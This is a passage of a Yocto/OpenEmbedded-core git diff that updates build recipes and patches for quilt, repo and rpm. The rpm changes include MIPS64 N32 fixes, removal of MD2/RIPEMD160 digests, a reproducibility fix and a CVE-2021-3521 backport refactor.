+RDEPENDS:${PN}-ptest = "make file sed gawk diffutils findutils ed perl \
perl-module-filehandle perl-module-getopt-std \
perl-module-posix perl-module-file-temp \
perl-module-text-parsewords perl-module-overloading \
diff --git a/meta/recipes-devtools/quilt/quilt_0.66.bb b/meta/recipes-devtools/quilt/quilt_0.66.bb
deleted file mode 100644
index ff9726576e..0000000000
--- a/meta/recipes-devtools/quilt/quilt_0.66.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-require quilt.inc
-inherit gettext
diff --git a/meta/recipes-devtools/quilt/quilt_0.67.bb b/meta/recipes-devtools/quilt/quilt_0.67.bb
new file mode 100644
index 0000000000..bf9e3c720f
--- /dev/null
+++ b/meta/recipes-devtools/quilt/quilt_0.67.bb
@@ -0,0 +1,3 @@
+require quilt.inc
+inherit gettext
+
diff --git a/meta/recipes-devtools/repo/repo/0001-python3-shebang.patch b/meta/recipes-devtools/repo/repo/0001-python3-shebang.patch
new file mode 100644
index 0000000000..d3888c8bb2
--- /dev/null
+++ b/meta/recipes-devtools/repo/repo/0001-python3-shebang.patch
@@ -0,0 +1,26 @@
+From b8e84b202cd302a7c99288d3835dc9c63071f8f2 Mon Sep 17 00:00:00 2001
+From: Jasper Orschulko <Jasper.Orschulko@iris-sensing.com>
+Date: Tue, 14 Sep 2021 16:46:51 +0200
+Subject: [PATCH] python3 shebang
+
+Yocto does not symlink from python to python3, thus change the shebang from
+python to python3.
+
+Upstream-Status: Inappropriate [configuration]
+Signed-off-by: Jasper Orschulko <Jasper.Orschulko@iris-sensing.com>
+---
+ repo | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/repo b/repo
+index b13e34c..205e0e5 100755
+--- a/repo
++++ b/repo
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding:utf-8 -*-
+ #
+ # Copyright (C) 2008 The Android Open Source Project
+--
+2.33.0
diff --git a/meta/recipes-devtools/repo/repo_2.22.bb b/meta/recipes-devtools/repo/repo_2.22.bb
new file mode 100644
index 0000000000..a99d5d7070
--- /dev/null
+++ b/meta/recipes-devtools/repo/repo_2.22.bb
@@ -0,0 +1,31 @@
+# SPDX-License-Identifier: MIT
+# Copyright (C) 2021 iris-GmbH infrared & intelligent sensors
+
+SUMMARY = "Tool for managing many Git repositories"
+DESCRIPTION = "Repo is a tool built on top of Git. Repo helps manage many Git repositories, does the uploads to revision control systems, and automates parts of the development workflow."
+HOMEPAGE = "https://android.googlesource.com/tools/repo"
+SECTION = "console/utils"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRC_URI = "git://gerrit.googlesource.com/git-repo.git;protocol=https;branch=main \
+ file://0001-python3-shebang.patch \
+ "
+SRCREV = "cc879a97c3e2614d19b15b4661c3cab4d33139c9"
+
+MIRRORS += "git://gerrit.googlesource.com/git-repo.git git://github.com/GerritCodeReview/git-repo.git"
+
+S = "${WORKDIR}/git"
+
+do_configure:prepend() {
+ sed -Ei "s/REPO_REV\s*=\s*('|\")stable('|\")/REPO_REV = '${SRCREV}'/g" ${S}/repo
+}
+
+do_install() {
+ install -D ${WORKDIR}/git/repo ${D}${bindir}/repo
+}
+
+RDEPENDS:${PN} = "python3 git"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/rpm/files/0001-Add-a-color-setting-for-mips64_n32-binaries.patch b/meta/recipes-devtools/rpm/files/0001-Add-a-color-setting-for-mips64_n32-binaries.patch
index ac6dcaf101..331ea849e6 100644
--- a/meta/recipes-devtools/rpm/files/0001-Add-a-color-setting-for-mips64_n32-binaries.patch
+++ b/meta/recipes-devtools/rpm/files/0001-Add-a-color-setting-for-mips64_n32-binaries.patch
@@ -1,20 +1,21 @@
-From e3eff024826550aec4a6a5baef7210a29faf299d Mon Sep 17 00:00:00 2001
+From 5492ac3c716020a27a25253bbffe810db43202bf Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 9 Mar 2017 18:54:02 +0200
Subject: [PATCH] Add a color setting for mips64_n32 binaries
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
- build/rpmfc.c | 1 +
+ build/rpmfc.c | 4 ++++
rpmrc.in | 2 ++
- 2 files changed, 3 insertions(+)
+ 2 files changed, 6 insertions(+)
diff --git a/build/rpmfc.c b/build/rpmfc.c
-index d38a10916..c8e2f876a 100644
+index 10c380ee9..b7655aa93 100644
--- a/build/rpmfc.c
+++ b/build/rpmfc.c
-@@ -622,6 +622,7 @@ exit:
+@@ -639,6 +639,7 @@ exit:
static const struct rpmfcTokens_s rpmfcTokens[] = {
{ "directory", RPMFC_INCLUDE },
@@ -22,11 +23,21 @@ index d38a10916..c8e2f876a 100644
{ "ELF 32-bit", RPMFC_ELF32|RPMFC_INCLUDE },
{ "ELF 64-bit", RPMFC_ELF64|RPMFC_INCLUDE },
+@@ -1149,6 +1150,9 @@ static uint32_t getElfColor(const char *fn)
+ color = RPMFC_ELF32;
+ break;
+ }
++ if (ehdr.e_machine == EM_MIPS || ehdr.e_machine == EM_MIPS_RS3_LE)
++ if (ehdr.e_flags & EF_MIPS_ABI2)
++ color = RPMFC_ELFMIPSN32;
+ elf_end(elf);
+ }
+ close(fd);
diff --git a/rpmrc.in b/rpmrc.in
-index abc08fc31..f5bc820d8 100644
+index 5bd9ba3e5..f15bb8dad 100644
--- a/rpmrc.in
+++ b/rpmrc.in
-@@ -133,6 +133,8 @@ archcolor: mipsr6el 1
+@@ -137,6 +137,8 @@ archcolor: mipsr6el 1
archcolor: mips64r6 2
archcolor: mips64r6el 2
@@ -35,6 +46,3 @@ index abc08fc31..f5bc820d8 100644
archcolor: m68k 1
archcolor: m68kmint 1
---
-2.11.0
-
diff --git a/meta/recipes-devtools/rpm/files/0001-CVE-2021-3521.patch b/meta/recipes-devtools/rpm/files/0001-CVE-2021-3521.patch
new file mode 100644
index 0000000000..044b4dd2a0
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0001-CVE-2021-3521.patch
@@ -0,0 +1,57 @@
+From 9a6871126f472feea057d5f803505ec8cc78f083 Mon Sep 17 00:00:00 2001
+From: Panu Matilainen <pmatilai@redhat.com>
+Date: Thu, 30 Sep 2021 09:56:20 +0300
+Subject: [PATCH 1/3] Refactor pgpDigParams construction to helper function
+
+No functional changes, just to reduce code duplication and needed by
+the following commits.
+
+CVE: CVE-2021-3521
+Upstream-Status: Backport [https://github.com/rpm-software-management/rpm/commit/9f03f42e2]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ rpmio/rpmpgp.c | 13 +++++++++----
+ 1 file changed, 9 insertions(+), 4 deletions(-)
+
+diff --git a/rpmio/rpmpgp.c b/rpmio/rpmpgp.c
+index d0688ebe9a..e472b5320f 100644
+--- a/rpmio/rpmpgp.c
++++ b/rpmio/rpmpgp.c
+@@ -1041,6 +1041,13 @@ unsigned int pgpDigParamsAlgo(pgpDigParams digp, unsigned int algotype)
+ return algo;
+ }
+
++static pgpDigParams pgpDigParamsNew(uint8_t tag)
++{
++ pgpDigParams digp = xcalloc(1, sizeof(*digp));
++ digp->tag = tag;
++ return digp;
++}
++
+ int pgpPrtParams(const uint8_t * pkts, size_t pktlen, unsigned int pkttype,
+ pgpDigParams * ret)
+ {
+@@ -1058,8 +1065,7 @@ int pgpPrtParams(const uint8_t * pkts, size_t pktlen, unsigned int pkttype,
+ if (pkttype && pkt.tag != pkttype) {
+ break;
+ } else {
+- digp = xcalloc(1, sizeof(*digp));
+- digp->tag = pkt.tag;
++ digp = pgpDigParamsNew(pkt.tag);
+ }
+ }
+
+@@ -1105,8 +1111,7 @@ int pgpPrtParamsSubkeys(const uint8_t *pkts, size_t pktlen,
+ digps = xrealloc(digps, alloced * sizeof(*digps));
+ }
+
+- digps[count] = xcalloc(1, sizeof(**digps));
+- digps[count]->tag = PGPTAG_PUBLIC_SUBKEY;
++ digps[count] = pgpDigParamsNew(PGPTAG_PUBLIC_SUBKEY);
+ /* Copy UID from main key to subkey */
+ digps[count]->userid = xstrdup(mainkey->userid);
+
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/rpm/files/0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch b/meta/recipes-devtools/rpm/files/0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch
index 80e2f0fad7..4029233fb7 100644
--- a/meta/recipes-devtools/rpm/files/0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch
+++ b/meta/recipes-devtools/rpm/files/0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch
@@ -1,4 +1,4 @@
-From 87cfc0db1ed6fe381a5ed5f0016d8c3344a31a11 Mon Sep 17 00:00:00 2001
+From f39c28eb52f12ae6e82db360ffd5a903ac8faca5 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 9 Jan 2017 18:52:11 +0200
Subject: [PATCH] Do not add an unsatisfiable dependency when building rpms in
@@ -9,25 +9,23 @@ hand produces rpms that way by design.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
build/pack.c | 4 ----
1 file changed, 4 deletions(-)
diff --git a/build/pack.c b/build/pack.c
-index 1261cdbba..bb2d6f4f6 100644
+index e6cec1816..810cd7351 100644
--- a/build/pack.c
+++ b/build/pack.c
-@@ -595,10 +595,6 @@ rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating)
- headerPutBin(pkg->header, RPMTAG_SOURCEPKGID, spec->sourcePkgId,16);
- }
+@@ -724,10 +724,6 @@ static rpmRC packageBinary(rpmSpec spec, Package pkg, const char *cookie, int ch
+ headerPutBin(pkg->header, RPMTAG_SOURCEPKGID, spec->sourcePkgId,16);
+ }
+
+- if (cheating) {
+- (void) rpmlibNeedsFeature(pkg, "ShortCircuited", "4.9.0-1");
+- }
+-
+ if ((rc = getPkgFilename(pkg->header, filename)))
+ return rc;
-- if (cheating) {
-- (void) rpmlibNeedsFeature(pkg, "ShortCircuited", "4.9.0-1");
-- }
--
- { char *binFormat = rpmGetPath("%{_rpmfilename}", NULL);
- char *binRpm, *binDir;
- binRpm = headerFormat(pkg->header, binFormat, &errorString);
---
-2.11.0
-
diff --git a/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch b/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch
index 82e7328757..6d236ac400 100644
--- a/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch
+++ b/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch
@@ -1,4 +1,4 @@
-From bd08eb0ae1312f347f49949481daa7c923752df2 Mon Sep 17 00:00:00 2001
+From 8d013fe154a162305f76141151baf767dd04b598 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 27 Feb 2017 09:43:30 +0200
Subject: [PATCH] Do not hardcode "lib/rpm" as the installation path for
@@ -14,10 +14,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
3 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/configure.ac b/configure.ac
-index 09af7c4..9bd6903 100644
+index eb7d6941b..10a889b5d 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -1055,7 +1055,7 @@ else
+@@ -871,7 +871,7 @@ else
usrprefix=$prefix
fi
@@ -27,10 +27,10 @@ index 09af7c4..9bd6903 100644
AC_SUBST(OBJDUMP)
diff --git a/macros.in b/macros.in
-index a3aa7a9..62cee5c 100644
+index a1f795e5f..689e784ef 100644
--- a/macros.in
+++ b/macros.in
-@@ -970,7 +970,7 @@ package or when debugging this package.\
+@@ -933,7 +933,7 @@ package or when debugging this package.\
%_sharedstatedir %{_prefix}/com
%_localstatedir %{_prefix}/var
%_lib lib
@@ -40,7 +40,7 @@ index a3aa7a9..62cee5c 100644
%_infodir %{_datadir}/info
%_mandir %{_datadir}/man
diff --git a/rpm.am b/rpm.am
-index 82c2d7c..6341b51 100644
+index 7b57f433b..9bbb9ee96 100644
--- a/rpm.am
+++ b/rpm.am
@@ -1,10 +1,10 @@
@@ -55,4 +55,4 @@ index 82c2d7c..6341b51 100644
+rpmconfigdir = $(libdir)/rpm
# Libtool version (current-revision-age) for all our libraries
- rpm_version_info = 9:0:1
+ rpm_version_info = 11:0:2
diff --git a/meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch b/meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch
deleted file mode 100644
index 0b1d6298a9..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From d076de030deb9cafd9b2e82be5d506cebdefad0b Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 27 Feb 2017 14:43:21 +0200
-Subject: [PATCH 1/9] Fix build with musl C library.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- configure.ac | 3 ++-
- rpmio/digest_nss.c | 1 +
- 2 files changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index c04a2e8d1..c9d9ac16d 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -255,6 +255,7 @@ AC_SEARCH_LIBS(dlopen, [dl])
- # Check for libelf library. Prefer external, otherwise none.
- WITH_LIBELF_LIB=
- AC_CHECK_HEADER([libelf.h])
-+AC_CHECK_HEADERS([error.h], [WITH_ERROR_H=yes])
- AC_CHECK_HEADERS([gelf.h], [
- AC_CHECK_LIB(elf, gelf_getvernaux, [
- AC_DEFINE(HAVE_LIBELF, 1, [Define to 1 if you have the 'elf' library (-lelf).])
-@@ -263,7 +264,7 @@ AC_CHECK_HEADERS([gelf.h], [
- ])
- ])
- AC_SUBST(WITH_LIBELF_LIB)
--AM_CONDITIONAL(LIBELF,[test "$WITH_LIBELF" = yes])
-+AM_CONDITIONAL(LIBELF,[test "$WITH_LIBELF" = yes && test "$WITH_ERROR_H" = yes])
-
- AC_CHECK_HEADERS([dwarf.h], [
- WITH_LIBDWARF=yes
-diff --git a/rpmio/digest_nss.c b/rpmio/digest_nss.c
-index 992d9acf6..e11920e3e 100644
---- a/rpmio/digest_nss.c
-+++ b/rpmio/digest_nss.c
-@@ -1,5 +1,6 @@
- #include "system.h"
-
-+#include <signal.h>
- #include <pthread.h>
- #include <nss.h>
- #include <sechash.h>
---
-2.14.2
-
diff --git a/meta/recipes-devtools/rpm/files/0001-Rip-out-partial-support-for-unused-MD2-and-RIPEMD160.patch b/meta/recipes-devtools/rpm/files/0001-Rip-out-partial-support-for-unused-MD2-and-RIPEMD160.patch
new file mode 100644
index 0000000000..734e38bb39
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0001-Rip-out-partial-support-for-unused-MD2-and-RIPEMD160.patch
@@ -0,0 +1,81 @@
+From 2d53d1e308a5bd15a16cc289fa7e1f264ea706be Mon Sep 17 00:00:00 2001
+From: Panu Matilainen <pmatilai@redhat.com>
+Date: Tue, 26 Jun 2018 10:46:14 +0300
+Subject: [PATCH] Rip out partial support for unused MD2 and RIPEMD160 digests
+
+Inspired by #453, adding configure-checks for unused digests algorithms
+seems nonsensical, at no point in rpm history have these algorithms been
+used for anything in rpm so there's not even backward compatibility to
+care about. So the question becomes why do we appear to have (some)
+support for those unused algorithms? So lets don't, problem solved...
+
+Upstream-Status: Backport [https://github.com/rpm-software-management/rpm/commit/ff4b9111aeba01dd025dd133ce617fb80f7398a0]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ rpmio/digest_beecrypt.c | 7 -------
+ rpmio/digest_nss.c | 2 --
+ rpmio/digest_openssl.c | 6 ------
+ 3 files changed, 15 deletions(-)
+
+diff --git a/rpmio/digest_beecrypt.c b/rpmio/digest_beecrypt.c
+index 597027e25..653a39491 100644
+--- a/rpmio/digest_beecrypt.c
++++ b/rpmio/digest_beecrypt.c
+@@ -132,10 +132,6 @@ DIGEST_CTX rpmDigestInit(int hashalgo, rpmDigestFlags flags)
+ ctx->Digest = (void *) sha512Digest;
+ break;
+ #endif
+- case PGPHASHALGO_RIPEMD160:
+- case PGPHASHALGO_MD2:
+- case PGPHASHALGO_TIGER192:
+- case PGPHASHALGO_HAVAL_5_160:
+ default:
+ free(ctx);
+ return NULL;
+@@ -292,9 +288,6 @@ static int pgpVerifySigRSA(pgpDigAlg pgpkey, pgpDigAlg pgpsig, uint8_t *hash, si
+ case PGPHASHALGO_SHA1:
+ prefix = "3021300906052b0e03021a05000414";
+ break;
+- case PGPHASHALGO_MD2:
+- prefix = "3020300c06082a864886f70d020205000410";
+- break;
+ case PGPHASHALGO_SHA256:
+ prefix = "3031300d060960864801650304020105000420";
+ break;
+diff --git a/rpmio/digest_nss.c b/rpmio/digest_nss.c
+index e11920e3e..b3d2b5595 100644
+--- a/rpmio/digest_nss.c
++++ b/rpmio/digest_nss.c
+@@ -117,7 +117,6 @@ static HASH_HashType getHashType(int hashalgo)
+ {
+ switch (hashalgo) {
+ case PGPHASHALGO_MD5: return HASH_AlgMD5;
+- case PGPHASHALGO_MD2: return HASH_AlgMD2;
+ case PGPHASHALGO_SHA1: return HASH_AlgSHA1;
+ #ifdef SHA224_LENGTH
+ case PGPHASHALGO_SHA224: return HASH_AlgSHA224;
+@@ -217,7 +216,6 @@ static SECOidTag getHashAlg(unsigned int hashalgo)
+ {
+ switch (hashalgo) {
+ case PGPHASHALGO_MD5: return SEC_OID_MD5;
+- case PGPHASHALGO_MD2: return SEC_OID_MD2;
+ case PGPHASHALGO_SHA1: return SEC_OID_SHA1;
+ #ifdef SHA224_LENGTH
+ case PGPHASHALGO_SHA224: return SEC_OID_SHA224;
+diff --git a/rpmio/digest_openssl.c b/rpmio/digest_openssl.c
+index 18e52a724..0ae48dd1d 100644
+--- a/rpmio/digest_openssl.c
++++ b/rpmio/digest_openssl.c
+@@ -172,12 +172,6 @@ static const EVP_MD *getEVPMD(int hashalgo)
+ case PGPHASHALGO_SHA1:
+ return EVP_sha1();
+
+- case PGPHASHALGO_RIPEMD160:
+- return EVP_ripemd160();
+-
+- case PGPHASHALGO_MD2:
+- return EVP_md2();
+-
+ case PGPHASHALGO_SHA256:
+ return EVP_sha256();
+
diff --git a/meta/recipes-devtools/rpm/files/0001-Split-binary-package-building-into-a-separate-functi.patch b/meta/recipes-devtools/rpm/files/0001-Split-binary-package-building-into-a-separate-functi.patch
deleted file mode 100644
index 6e44f0b7fc..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-Split-binary-package-building-into-a-separate-functi.patch
+++ /dev/null
@@ -1,84 +0,0 @@
-From 721a660a507d6d062e7aecafad886c643970a5d5 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 25 May 2017 18:15:27 +0300
-Subject: [PATCH 1/4] Split binary package building into a separate function
-
-So that it can be run as a thread pool task.
-
-Upstream-Status: Submitted [https://github.com/rpm-software-management/rpm/pull/226]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- build/pack.c | 33 +++++++++++++++++++++------------
- 1 file changed, 21 insertions(+), 12 deletions(-)
-
-diff --git a/build/pack.c b/build/pack.c
-index 518f4e92a..ccfd614cc 100644
---- a/build/pack.c
-+++ b/build/pack.c
-@@ -546,18 +546,13 @@ static rpmRC checkPackages(char *pkgcheck)
- return RPMRC_OK;
- }
-
--rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating)
-+static rpmRC packageBinary(rpmSpec spec, Package pkg, const char *cookie, int cheating, char** filename)
- {
-- rpmRC rc;
-- const char *errorString;
-- Package pkg;
-- char *pkglist = NULL;
--
-- for (pkg = spec->packages; pkg != NULL; pkg = pkg->next) {
-- char *fn;
-+ const char *errorString;
-+ rpmRC rc = RPMRC_OK;
-
- if (pkg->fileList == NULL)
-- continue;
-+ return rc;
-
- if ((rc = processScriptFiles(spec, pkg)))
- return rc;
-@@ -587,7 +582,7 @@ rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating)
- headerGetString(pkg->header, RPMTAG_NAME), errorString);
- return RPMRC_FAIL;
- }
-- fn = rpmGetPath("%{_rpmdir}/", binRpm, NULL);
-+ *filename = rpmGetPath("%{_rpmdir}/", binRpm, NULL);
- if ((binDir = strchr(binRpm, '/')) != NULL) {
- struct stat st;
- char *dn;
-@@ -609,14 +604,28 @@ rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating)
- free(binRpm);
- }
-
-- rc = writeRPM(pkg, NULL, fn, NULL);
-+ rc = writeRPM(pkg, NULL, *filename, NULL);
- if (rc == RPMRC_OK) {
- /* Do check each written package if enabled */
-- char *pkgcheck = rpmExpand("%{?_build_pkgcheck} ", fn, NULL);
-+ char *pkgcheck = rpmExpand("%{?_build_pkgcheck} ", *filename, NULL);
- if (pkgcheck[0] != ' ') {
- rc = checkPackages(pkgcheck);
- }
- free(pkgcheck);
-+ }
-+ return rc;
-+}
-+
-+rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating)
-+{
-+ rpmRC rc;
-+ Package pkg;
-+ char *pkglist = NULL;
-+
-+ for (pkg = spec->packages; pkg != NULL; pkg = pkg->next) {
-+ char *fn = NULL;
-+ rc = packageBinary(spec, pkg, cookie, cheating, &fn);
-+ if (rc == RPMRC_OK) {
- rstrcat(&pkglist, fn);
- rstrcat(&pkglist, " ");
- }
---
-2.11.0
-
diff --git a/meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch b/meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch
new file mode 100644
index 0000000000..79b168257e
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch
@@ -0,0 +1,28 @@
+From 2d351c666f09cc1b9e368422653fb42ac8b86249 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 31 Aug 2021 10:37:05 +0200
+Subject: [PATCH] build/pack.c: do not insert payloadflags into .rpm metadata
+
+The flags look like '19T56' where 19 is the compression level
+(deterministic), and 56 is the amount of threads (varies from one
+host to the next and breaks reproducibility for .rpm).
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ build/pack.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/build/pack.c b/build/pack.c
+index 932cb213e..b45d0726f 100644
+--- a/build/pack.c
++++ b/build/pack.c
+@@ -328,7 +328,7 @@ static char *getIOFlags(Package pkg)
+ headerPutString(pkg->header, RPMTAG_PAYLOADCOMPRESSOR, compr);
+ buf = xstrdup(rpmio_flags);
+ buf[s - rpmio_flags] = '\0';
+- headerPutString(pkg->header, RPMTAG_PAYLOADFLAGS, buf+1);
++ headerPutString(pkg->header, RPMTAG_PAYLOADFLAGS, "");
+ free(buf);
+ }
+ exit:
diff --git a/meta/recipes-devtools/rpm/files/0001-docs-do-not-build-manpages-requires-pandoc.patch b/meta/recipes-devtools/rpm/files/0001-docs-do-not-build-manpages-requires-pandoc.patch
new file mode 100644
index 0000000000..ced52d1007
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0001-docs-do-not-build-manpages-requires-pandoc.patch
@@ -0,0 +1,26 @@
+From 9bf1693092385eba9841614613313010221ca01f Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 29 Jun 2021 20:11:26 +0200
+Subject: [PATCH] docs: do not build manpages (requires pandoc)
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ docs/Makefile.am | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/docs/Makefile.am b/docs/Makefile.am
+index 5a6bd203a..6257767fd 100644
+--- a/docs/Makefile.am
++++ b/docs/Makefile.am
+@@ -1,7 +1,5 @@
+ ## Process this file with automake to produce Makefile.in
+
+-SUBDIRS = man
+-
+ EXTRA_DIST =
+
+ EXTRA_DIST += \
+--
+2.32.0
+
diff --git a/meta/recipes-devtools/rpm/files/0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch b/meta/recipes-devtools/rpm/files/0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch
new file mode 100644
index 0000000000..6678c105cd
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch
@@ -0,0 +1,60 @@
+From 1ed066fc6fa7d7afffe3545c4e3ea937529e6c49 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Thu, 7 May 2020 17:40:58 +0800
+Subject: [PATCH] lib/transaction.c: fix file conflicts for MIPS64 N32
+
+This patch is from:
+https://github.com/rpm-software-management/rpm/issues/193
+
+Error: Transaction check error:
+ file /sbin/ldconfig conflicts between attempted installs of
+ldconfig-2.31+git0+71f2b249a2-r0.mips64_n32 and
+lib32-ldconfig-2.31+git0+71f2b249a2-r0.mips32r2
+...
+
+This was because:
+transactions_color = 001 (ELF32) & 010 (ELF64) & 100 (ELF32 N32 MIPS64)
+FColor = Current file color (001) & transaction_color (111)
+oFcolor = Previous file color (100) & transaction_color (111)
+
+In handleColorConflict, it only deal with conditons "new preferred" or
+"old preferred". But not deal with the situation where neither is the
+preferred type. so for tri-lib system, like mips64/mips64 n32/mips(32),
+"Transaction check error" occurred.
+
+Fixed by performing a 'last-in-wins' resolution when "neither is preferred".
+
+Upstream-Status: Submitted <https://github.com/rpm-software-management/rpm/issues/193>
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ lib/transaction.c | 13 ++++++++++++-
+ 1 file changed, 12 insertions(+), 1 deletion(-)
+
+diff --git a/lib/transaction.c b/lib/transaction.c
+index 67b9db5..82386b8 100644
+--- a/lib/transaction.c
++++ b/lib/transaction.c
+@@ -391,7 +391,18 @@ static int handleColorConflict(rpmts ts,
+ rpmfsSetAction(ofs, ofx, FA_CREATE);
+ rpmfsSetAction(fs, fx, FA_SKIPCOLOR);
+ rConflicts = 0;
+- }
++ }else {
++ /*
++ * If neither is already skipped, we skip the old one, and
++ * install the new one (last in wins).
++ */
++ if (ofs && !XFA_SKIPPING(rpmfsGetAction(ofs, ofx)) &&
++ fs && !XFA_SKIPPING(rpmfsGetAction(fs, fx))) {
++ rpmfsSetAction(ofs, ofx, FA_SKIPCOLOR);
++ rpmfsSetAction(fs, fx, FA_CREATE);
++ }
++ rConflicts = 0;
++ }
+ }
+ }
+
+--
+2.7.4
+
diff --git a/meta/recipes-devtools/rpm/files/0001-mono-find-provides-requires-do-not-use-monodis-from-.patch b/meta/recipes-devtools/rpm/files/0001-mono-find-provides-requires-do-not-use-monodis-from-.patch
deleted file mode 100644
index 24aa4c7fff..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-mono-find-provides-requires-do-not-use-monodis-from-.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 43fbc3f53302a395463e8450ac81c53f623eec3f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 27 Aug 2019 17:42:34 +0200
-Subject: [PATCH] mono-find-provides/requires: do not use monodis from the host
-
-There was a host contamination issue here: if monodis was installed
-on the host, do_package would use that to resolve dependencies
-of mono libraries (and often fail in that). Without monodis,
-no dependencies are resolved, which is seemingly how things
-are supposed to work.
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- scripts/mono-find-provides | 8 ++++----
- scripts/mono-find-requires | 8 ++++----
- 2 files changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/scripts/mono-find-provides b/scripts/mono-find-provides
-index 9348457d3..b28872ffb 100644
---- a/scripts/mono-find-provides
-+++ b/scripts/mono-find-provides
-@@ -18,11 +18,11 @@ monolist=($(printf "%s\n" "${filelist[@]}" | grep -E "\\.(exe|dll)\$"))
- build_bindir="$2/usr/bin"
- build_libdir="$2$3"
-
--if [ -x $build_bindir/monodis ]; then
-- monodis="$build_bindir/monodis"
-+if [ -x $build_bindir/monodis.bogus ]; then
-+ monodis="$build_bindir/monodis.bogus"
- export LD_LIBRARY_PATH=$build_libdir${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}
--elif [ -x /usr/bin/monodis ]; then
-- monodis="/usr/bin/monodis"
-+elif [ -x /usr/bin/monodis.bogus ]; then
-+ monodis="/usr/bin/monodis.bogus"
- else
- exit 0;
- fi
-diff --git a/scripts/mono-find-requires b/scripts/mono-find-requires
-index ea58cae48..d270169e1 100644
---- a/scripts/mono-find-requires
-+++ b/scripts/mono-find-requires
-@@ -18,11 +18,11 @@ monolist=($(printf "%s\n" "${filelist[@]}" | grep -E "\\.(exe|dll)\$"))
- build_bindir="$2/usr/bin"
- build_libdir="$2$3"
-
--if [ -x $build_bindir/monodis ]; then
-- monodis="$build_bindir/monodis"
-+if [ -x $build_bindir/monodis.bogus ]; then
-+ monodis="$build_bindir/monodis.bogus"
- export LD_LIBRARY_PATH=$build_libdir${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}
